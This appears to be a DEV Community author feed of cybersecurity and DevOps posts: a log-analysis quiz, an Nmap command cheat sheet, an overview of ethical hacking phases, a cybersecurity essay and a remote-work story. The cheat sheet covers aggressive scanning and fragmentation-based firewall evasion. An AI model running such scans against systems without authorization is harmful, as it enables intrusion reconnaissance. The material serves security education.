Insufficient Logging and Monitoring

What IP address is the attacker using?

Answer: 49.99.13.16

What kind of attack is being carried out?

Answer: brute force

🌐🛡️ Mastering Nmap Commands: Unleash Your Network Scanning Superpowers! 🛡️🌐

Frank Osasere Idugboe — Mon, 02 Oct 2023 16:49:30 +0000

Ready to take your network scanning skills to the next level? 🔍🚀 Here's a breakdown of essential Nmap commands to help you become a scanning ninja! 🤺💻

🔹 Basic Scan 🔹

nmap target

Discover open ports on a target.

🔹 Intense Scan 🔹

nmap -T4 -A target

Aggressive scan with OS detection and version information.

🔹 UDP Scan 🔹

nmap -sU target

Scan UDP ports for hidden vulnerabilities.

🔹 Port Range Scan 🔹

nmap target -p 1-100

Scan a range of ports.

🔹 Operating System Detection 🔹

nmap -O target

Identify the target's operating system.

🔹 Service Version Detection 🔹

nmap -sV target

Retrieve service version information.

🔹 Script Scanning 🔹

nmap --script=<script> target

Execute custom NSE scripts for specific tasks.

🔹 Output to File 🔹

nmap -oN output.txt target

Save scan results to a file.

🔹 Aggressive Timing 🔹

nmap -T4 target

Speed up the scan with aggressive timing.

🔹 Ping Scan 🔹

nmap -sn target

Check if hosts are up without scanning ports.

🔹 Exclude Hosts 🔹

nmap target --exclude host

Exclude specific hosts from the scan.

🔹 Scan a Network Range 🔹

nmap 192.168.1.0/24

Scan an entire network range.

🔹 Firewall Evasion 🔹

nmap -f target

Evade firewalls using fragmentation.

🔹 Timing Templates 🔹

nmap --timing <0-5> target

Adjust scan timing with templates.

🔹 Verbose Output 🔹

nmap -v target

Get detailed verbose output.

🔹 Fast Scan 🔹

nmap -F target

Scan fewer ports, suitable for a quick network overview.

🔹 Traceroute 🔹

nmap --traceroute target

Perform a traceroute to discover the path to the target.

🔹 Exclude Ports 🔹

nmap target --exclude-ports <port1,port2,...>

Exclude specific ports from the scan.

🔹 Scan Multiple Targets 🔹

nmap target1 target2 target3

Scan multiple targets in a single command.

🔹 Output in XML Format 🔹

nmap -oX output.xml target

Save scan results in XML format for easy parsing.

🔹 Ping-Only Scan 🔹

nmap -sn target

Perform a ping-only scan to check host availability.

🔹 Scan IPv6 Addresses 🔹

nmap -6 target

Scan IPv6 addresses instead of IPv4.

🔹 Aggressive Script Scan 🔹

nmap -A target

Document your findings! Save scan results for analysis.

Remember, with great power comes great responsibility. Always ensure you have proper authorization before scanning any network or system! 🤝🔒

Perform an aggressive scan with OS detection, version detection, script scanning, and traceroute.

These are just some of the powerful Nmap commands at your disposal. Which one is your go-to for network reconnaissance? Share your favorites and tips below! 👇💬

Unveiling the Art of Ethical Hacking: Understanding the Five Phases

Frank Osasere Idugboe — Sun, 17 Sep 2023 14:43:50 +0000

In an increasingly interconnected world, where data breaches and cyberattacks have become commonplace, the importance of cybersecurity cannot be overstated. Enter ethical hacking, a proactive approach to safeguarding digital assets by identifying and addressing vulnerabilities before malicious hackers can exploit them. Ethical hackers, also known as white-hat hackers, play a critical role in fortifying cybersecurity defenses. To shed light on this vital field, this article will explore the five phases of ethical hacking and their significance in securing our digital future.

1. Reconnaissance (Information Gathering)

The first phase of ethical hacking is reconnaissance, which involves gathering as much information as possible about the target system or organization. Ethical hackers use various tools and techniques to collect data such as domain names, IP addresses, network layouts, and employee information. The aim is to mimic the information-gathering methods of malicious hackers, understanding the potential entry points and vulnerabilities.

The significance of this phase lies in its ability to provide a holistic view of the target's digital presence. By comprehensively mapping out potential weaknesses, ethical hackers can develop a strategic plan for further assessment.

2. Scanning

After reconnaissance, the next phase is scanning, where ethical hackers actively probe the target's systems for vulnerabilities. This involves network scanning, vulnerability scanning, and port scanning. These activities help identify open ports, outdated software, misconfigurations, and other weaknesses that could be exploited by attackers.

Scanning is crucial because it allows ethical hackers to pinpoint specific vulnerabilities that need immediate attention. It sets the stage for the subsequent phases, where these vulnerabilities will be further explored and tested.

3. Gaining Access

The gaining access phase is where ethical hackers attempt to exploit the identified vulnerabilities. This may involve techniques such as password cracking, exploiting software flaws, or leveraging social engineering tactics. The goal here is not to cause harm but to demonstrate the potential damage that could occur in the hands of malicious hackers.

This phase underscores the importance of fixing vulnerabilities promptly. It serves as a wake-up call for organizations, showing them the real-world consequences of lax cybersecurity measures.

4. Maintaining Access

Once access has been gained, ethical hackers work on maintaining it. This phase involves creating backdoors or establishing persistent access points in the target system. By doing so, ethical hackers can demonstrate how attackers might maintain control over a compromised system for an extended period.

Maintaining access highlights the need for continuous monitoring and incident response capabilities. Organizations must be vigilant to detect and respond to unauthorized access promptly.

5. Covering Tracks

The final phase, covering tracks, is crucial for ethical hackers to ensure that their actions do not disrupt the target system or leave traces of their activities. This phase involves erasing logs, deleting files, and obscuring any evidence of the ethical hacking process.

Covering tracks emphasizes the importance of forensic analysis and incident response. By understanding how ethical hackers cover their tracks, organizations can better prepare for real-world cyberattacks and minimize the damage caused.

Conclusion

Ethical hacking is an indispensable practice in today's digital landscape. It empowers organizations to proactively identify and address vulnerabilities before malicious hackers can exploit them. The five phases of ethical hacking – reconnaissance, scanning, gaining access, maintaining access, and covering tracks – provide a structured approach to securing digital assets and ensuring a robust cybersecurity posture.

As technology continues to advance, ethical hacking will remain a critical tool in the arsenal of defenders, helping to stay one step ahead of cyber threats and safeguard our digital future.

🔒🌐 Cybersecurity in the Digital Age 🌐🔒

Frank Osasere Idugboe — Sun, 17 Sep 2023 14:33:15 +0000

In a world where the physical and digital realms continually blur, cybersecurity is no longer a luxury but an absolute necessity. As we dive deeper into the digital age, our lives are becoming inseparable from technology. While this transformation offers incredible convenience and connectivity, it also brings forth a dark side – a world of cyber threats that are increasingly common.

The Digital Transformation

The digital revolution has reshaped how we live, work, and connect. We now conduct business, socialize, shop, and manage our finances online. But this convenience has a shadow.

The Dark Side of Connectivity

Our modern world's interconnectedness has bred a new breed of criminals exploiting digital vulnerabilities for personal gain. Here's a glimpse of the cyber landscape:

Cyberattacks: These are a common threat, ranging from Distributed Denial of Service (DDoS) attacks that overwhelm websites to malware infections compromising device security. Cybercriminals launch these for various motives, from financial gain to political objectives.
Data Breaches: A household term, these breaches involve hackers gaining unauthorized access to sensitive information like personal data, financial records, and login credentials. For individuals, it often results in identity theft and financial loss; for businesses, loss of trust and legal consequences.
Privacy Invasions: Our digital footprints are extensive, making us susceptible to data exploitation by cybercriminals and unscrupulous advertisers. The erosion of privacy in the digital age blurs the line between public and private life.
High-Profile Incidents: Ransomware attacks on hospitals disrupting critical services, data breaches at social media giants, and compromises of sensitive government information illustrate the vulnerabilities in the digital realm.
Global Reach: Cyber threats are borderless, making tracking and prosecuting cybercriminals a challenge. International cooperation is vital to combat this menace.
Emerging Threats: With evolving technology, new threats emerge. Artificial intelligence and the Internet of Things (IoT) introduce new vulnerabilities that require proactive cybersecurity measures.

The Scope of Cybersecurity

Cybersecurity extends beyond protecting data; it safeguards the integrity, confidentiality, and availability of our digital lives:

Protecting Personal Information: It shields individuals from identity theft, fraud, and privacy breaches.
Business Continuity: In the corporate world, cybersecurity preserves customer data, trade secrets, and reputation.
Critical Infrastructure Defense: It secures power grids, water supply systems, and financial institutions from cyber threats.
National Security: It protects sensitive government information, military systems, and intelligence data.
Economic Stability: Secure financial transactions are vital for economic stability.
Global Interconnectedness: In a connected world, international cooperation is crucial to establish unified cybersecurity standards.
Emerging Technologies: AI, blockchain, and IoT require ongoing cybersecurity measures.

Data as the New Gold

Data is the currency of the digital age, powering innovation, personalization, and decision-making. However, cybercriminals see organizations as treasure troves to plunder.

The Looming Threat: Cyberattacks and Data Breaches

Cybercriminals employ sophisticated tactics to breach data-rich organizations, causing identity theft, financial loss, reputational damage, and legal consequences.

Protecting Personal Information

Individuals play a pivotal role by adopting strong passwords, enabling two-factor authentication, and keeping software up-to-date.

Businesses and Cybersecurity

Cybersecurity is now fundamental for business operations, impacting financial viability, reputation, competitive edge, legal compliance, operational continuity, supply chain integrity, and intellectual property protection.
In the digital era, cybersecurity is crucial for businesses because:

Financial Stability: Data breaches can lead to significant financial losses, including legal fees and fines.
Customer Trust: Breaches erode trust, driving customers away and necessitating costly efforts to rebuild it.
Competitive Advantage: Strong cybersecurity can attract customers who value data security.
Legal Compliance: Stricter data protection laws require businesses to prioritize cybersecurity.
Operational Continuity: Cyberattacks can disrupt operations and cause revenue loss.
Supply Chain Integrity: Strong cybersecurity is often a prerequisite for collaboration with partners and suppliers.
Intellectual Property Protection: Protecting intellectual property is vital for competitiveness.

Government and Regulation

In an era where cyber threats transcend borders, governments worldwide have come to recognize the paramount importance of cybersecurity. They have assumed a pivotal role in mitigating the risks associated with the digital age. Here's a closer look at their involvement:

Enacting Regulations and Standards: Governments worldwide implement cybersecurity regulations and standards across industries to set a baseline for security and encourage organizations to prioritize cybersecurity. Examples include the NIST Cybersecurity Framework in the United States and GDPR in Europe, emphasizing that cybersecurity is a legal obligation.
International Cooperation: Cyber threats transcend borders, so governments collaborate internationally, sharing threat intelligence and best practices. The United Nations promotes global cybersecurity norms, while organizations like INTERPOL coordinate law enforcement efforts. Alliances like NATO address cyber threats collectively.
Protecting Critical Infrastructure: Governments prioritize safeguarding critical infrastructure like power grids and financial institutions, as cyberattacks on these systems can have catastrophic consequences. They collaborate with private sector entities to establish guidelines and respond to potential threats, with agencies like the Department of Homeland Security focusing on resilience and protection.

Cybersecurity Workforce Gap

The growing demand for cybersecurity professionals is driven by increasing cyber threats. Job postings in this sector have risen by over 60% in the past year alone. Failing to close the cybersecurity workforce gap can lead to delayed incident response, extended downtime, and higher costs for cybersecurity services. Addressing the gap requires:

Education and Training: Educational institutions must update their curricula to teach the latest cybersecurity skills, covering areas like threat analysis and ethical hacking. Industry certifications like CISSP and CEH should be promoted. Continuous learning is crucial, and employers should support ongoing training.
Collaboration Between Academia and Industry: Academia and industry should work together to create internships, co-op programs, and apprenticeships, providing students with practical experience and industry connections. Industry leaders can contribute real-world insights to improve educational programs.
Diversity and Inclusion: Promoting diversity and inclusion in cybersecurity is essential for innovative solutions. Encouraging underrepresented groups, such as women and minorities, to pursue careers in cybersecurity is vital for a more inclusive and robust workforce.

Emerging Technologies and Challenges

The evolving digital landscape features two transformative technologies: Artificial Intelligence (AI) and the Internet of Things (IoT), offering substantial benefits but also posing complex cybersecurity challenges.

Artificial Intelligence (AI): AI's ability to analyse data, make real-time decisions, and adapt attracts cybercriminals. AI-driven attacks automate and optimize malicious activities, making them harder to detect, like generating convincing phishing emails or breaching security systems. To counter this, the cybersecurity community must employ AI for defense, using it to analyse network patterns, detect anomalies, and respond to threats promptly.
Internet of Things (IoT): IoT's promise of convenience and efficiency is marred by lax security standards in many devices. Manufacturers prioritize functionality and cost over security, resulting in vulnerabilities like default passwords and inadequate encryption. Securing IoT requires improving device security, robust encryption, centralized security systems, and user education to mitigate risks.
Staying Ahead: Cybersecurity must adopt a proactive approach, investing in research, training, and collaboration:
Research and Development: Continuously study emerging threats in AI and IoT to develop new security protocols and tools.
Training and Education: Keep professionals and end-users informed about cybersecurity best practices to recognize and address emerging threats.
Collaboration: Foster public-private partnerships and international cooperation among experts, businesses, governments, and academia to collectively address these challenges.

The Human Element

Human behaviour often plays a critical role in cybersecurity. Understanding the psychology behind cyber threats and promoting cybersecurity education and awareness are essential.
Human behaviour is a significant and often underestimated factor in cybersecurity:

Psychology of Cybersecurity: Cybercriminals exploit human emotions and behaviours in attacks, such as phishing, where manipulation leads to compromised security.
Social Engineering: Common cyber threats like phishing and pretexting manipulate trust and goodwill, posing risks when individuals fall for seemingly innocuous requests.
Cybersecurity Education: To mitigate human error, education and awareness programs are essential for recognizing threats and warning signs.
Promoting a Cybersecurity Culture: Organizations must cultivate a cybersecurity culture with training, simulations, and clear policies to encourage reporting of suspicious activities.
Technology Alone is Insufficient: While robust cybersecurity technology is crucial, it should not be the sole defense, as human error can compromise even advanced security systems.
Ethical Hacking and Red Teaming: Organizations use ethical hackers and red teams to simulate attacks, identify vulnerabilities in technology and human responses, and strengthen cybersecurity measures.

Conclusion

In the digital age, cybersecurity is not an option but a responsibility. It's up to individuals, businesses, and governments to create a secure digital environment. By understanding its importance and taking proactive steps, we can build a safer digital future for all."

Navigating the Remote Work Maze: A DevOps Engineer's Adventure

Frank Osasere Idugboe — Sun, 03 Sep 2023 13:47:03 +0000

Ahoy there, fellow wanderer in the digital wilderness! I'm your trusty guide on this whirlwind tour through the realms of remote work, as seen from the heart of Lagos, Nigeria. Let's rewind to the scorching Lagos summer of 2021. That's when my journey into the world of DevOps at a start-up began. The job was thrilling, but there was one problem – Lagos traffic. It's a beast of its own, a never-ending symphony of honking horns, sweltering heat, and an endless sea of cars that turns your daily commute into a battle for sanity. Buckle up, because this tale is about to get personal, entertaining, and oh-so-captivating.

Chapter 1: The Hybrid Beginnings (2021)

Picture this: 2021, the year of endless possibilities and the rise of hybrid work. I joined my start-up with excitement and expectations. Little did I know that my daily commute would become a battle against the Lagos traffic monster. Picture a gladiator, armed with a laptop bag, fighting for every precious minute. The lost hours were as painful as stepping on a Lego brick barefoot.

Our company, like many others, embraced the hybrid model. It was a dream come true. The office was our sanctuary, a place of collaboration and coffee-stained camaraderie. Yet, we cherished the flexibility of remote work – trading pantsuits for pyjamas, and cubicles for cozy corners of our homes. Productivity soared, and all was right in our world, and life was good. But little did we know that the tides of change were approaching.

Chapter 2: The Full Remote Revolution (2022)

Fast forward to 2022. The traffic nightmare had escalated to a full-blown horror show. We, the valiant employees of our start-up, felt like lost souls on the road, our spirits crushed by endless traffic jams, were spending more time stuck in our cars than sleeping. It was then that our CEO, in an epiphany-induced moment, declared, "No more suffering in Lagos traffic! We're going fully remote!"

Cue the cheers and high-fives, as we embraced the remote work revolution with open arms. No more traffic torture. Our daily grind became a dance of Google Meet, Slack messages, and a comforting pair of sweatpants.

Life was good, until it wasn't. The lack of face-to-face communication began to take its toll. We missed the water cooler chats, the spontaneous brainstorming sessions, and the camaraderie of the office. It turned out that virtual emojis couldn't replace the warmth of a genuine smile. The work-life balance was teetering on a tightrope, and our connection seemed to waver.

Chapter 3: Return to the Nest (2023)

With heavy hearts and a longing for the good ol' office days,
like homing pigeons, we returned to our physical office in 2023. The hybrid model became our lodestar. We could choose the comfort of home or the vibrant buzz of the office. There, we rediscovered the magic of face-to-face communication, like rekindling an old flame.

We celebrated our return with the fervour of astronauts landing on a newfound planet. The hybrid model gave us the best of both worlds once again. We could choose to work from home or come to the office, depending on our needs. The coffee mugs clinked, the laughter echoed, and the hum of collaboration filled the air once more.

Chapter 4: The DevOps Journey - Lessons in Adaptation

As a DevOps engineer navigating this remote work odyssey, I've learned a few invaluable lessons. Adaptability, my friends, is the name of the game. Embrace change with open arms and find ways to thrive in every work environment, whether it's the office or your cozy home office.

Communication, the magical elixir of remote teams, has been my trusty sidekick. From Zoom calls that turned into epic sagas to late-night Slack conversations that felt like secret missions, technology bridged the gap. Yet, nothing beats the simple pleasure of sharing ideas over a cup of coffee.

Lastly, I've come to realize the importance of setting boundaries in this remote world. Without clear lines between work and personal life, it's easy to lose yourself in the digital whirlwind. Balance, my friends, is the key to longevity in this remote work adventure.

Conclusion

From Lagos, with love, I've shared my riveting tale of remote work's rise, fall, and triumphant return. It's been a rollercoaster, a wild safari through the digital jungle. But every twist and turn has made me a better DevOps engineer and a wiser human being.

So, here's to the future, wherever it may take us. As long as we keep embracing change and seeking the perfect blend of remote and in-person, our adventure will continue to be a thrilling, captivating journey. Cheers to the remote work maze, my friends!

Your Thoughts Matter - Share Your Remote Work Odyssey!

Now, dear readers, it's your turn to join the conversation. I've shared my personal odyssey through the ever-evolving landscape of remote work, but I'm eager to hear your stories, insights, and experiences.

Have you had your own remote work rollercoaster ride, perhaps in a different part of the world? Do you have tips, tricks, or funny anecdotes to share about your journey? Or maybe you've faced unique challenges and found creative solutions that could benefit others?

We invite you to be a part of this ongoing dialogue. Share your thoughts, stories, and feedback in the comments section below. Let's turn this article into a virtual campfire where we swap tales of remote work triumphs and tribulations.

Your feedback is not only welcomed; it's cherished. Together, we can continue to navigate the ever-evolving world of remote work, making it an even more captivating and fulfilling journey for all.

So, dear readers, the stage is yours. Let the conversation begin! 🚀🌍🏡

FAQs

1.Is remote work here to stay?

Remote work is likely to remain a significant part of the work landscape, offering flexibility and efficiency.

2. How can I adapt to remote work effectively?

Embrace technology, maintain clear communication, and set boundaries to thrive in remote work.

3. What are the benefits of a hybrid work model?

A hybrid model combines the best of remote and in-office work, offering flexibility and personalization.

4. What challenges can remote work pose for team cohesion?

Lack of face-to-face interaction can lead to communication challenges and a sense of isolation.

5. How do you maintain a work-life balance in a remote setup?

Establish clear boundaries, schedule breaks, and create a dedicated workspace to maintain work-life balance.

6. What is the future of remote work post-pandemic?

The future of remote work will likely involve a blend of remote and in-person work, tailored to individual needs.

7. Can remote work enhance productivity?

Remote work can boost productivity due to reduced commute times and personalized work environments.

8. What role does adaptability play in remote work success?

Adaptability is crucial for thriving in remote work as it enables individuals to navigate changing work environments effectively.

DEV Community: Frank Osasere Idugboe

iOS Universal Links on AWS Amplify: Debugging a 301 Redirect on the AASA File

How iOS Universal Links work

My responsibility was the infrastructure side

The first thing I checked was the HTTP response

AWS Amplify treated the path differently

The SPA added another layer

The fix: separate the public URL from the physical file

Rule order mattered

Why I kept both files

I didn't trust the deployment result

Where DevOps responsibility ended

The deeper lesson: integrations fail between systems

What this incident reinforced for me

1. Verify the public response, not just the deployed file

2. HTTP behaviour is part of configuration

3. .well-known endpoints deserve special attention

4. SPA catch-all rules can affect infrastructure endpoints

5. A successful deployment is not the same as a verified integration

The troubleshooting sequence I would use next time

The bigger lesson

Kubernetes at 3% CPU but Pods Still Pending: Debugging Requests, Karpenter, and EBS AZ Affinity

3% CPU utilisation did not mean 97% capacity was available

So why didn't autoscaling add another node?

CPU capacity wasn't the only scheduling constraint

Restoring service

Restoring Karpenter

Kubernetes identity and IAM trust had drifted apart

One final surprise: the Helm upgrade looked successful

The troubleshooting sequence I would use next time

What this incident reinforced for me

1. Low CPU utilisation does not mean schedulable CPU exists

2. Existing configuration does not mean the control plane is functioning

3. Storage topology matters

4. Infrastructure drift can remain invisible until demand exposes it

5. Verify the running artifact, not just the deployment command

6. Be careful with --reuse-values

The bigger lesson

The DevOps vs. Forensics Mindset: Tracing Unauthorized kubectl Access on EKS

The Alert: "Someone is in the house"

Step 1: Freezing the Crime Scene

Step 2: Dusting for Fingerprints (The Logs)

Step 3: Finding the Person Behind the Role

Step 4: The Fix (Moving to Modern Security)

Step 5: The Alarm System

Automation Gone Wrong: Our Cleanup Lambda Deleted Rancher’s EBS Volume (and How Velero Saved Us)

🔥 The Incident: When Automation Bites Back

🔍 Investigation: Finding the Culprit

Revolutionary Remote DevOps: A C-Level Blueprint for Digital Transformation Excellence

Unlocking DevOps Excellence in a Remote World: A Comprehensive Guide for C-Level Executives

The New Reality: DevOps in a Distributed World

The Remote DevOps Advantage

Building a Remote-First DevOps Culture

Leadership in the Virtual Space

Tools and Infrastructure

Securing the Remote DevOps Pipeline

Zero-Trust Architecture

Compliance and Governance

Fostering Agile Collaboration

Asynchronous Communication Strategies

Team Dynamics and Innovation

Resource Optimization and Cost Management

Infrastructure Optimization

Team Productivity

Measuring Success in Remote DevOps

Key Performance Indicators

Implementation Roadmap

Phase 1: Assessment (Weeks 1-4)

Phase 2: Foundation Building (Weeks 5-12)

Phase 3: Scaling and Optimization (Weeks 13-24)

Case Studies

OxygenX Transformation

Yebox Technologies Success Story

Colarroid Creations Cloud Infrastructure

ROI and Budget Considerations

Strategic Investment Areas

Expected Returns

Change Management

Stakeholder Engagement

Training and Development

3. `.well-known` endpoints deserve special attention

6. Be careful with `--reuse-values`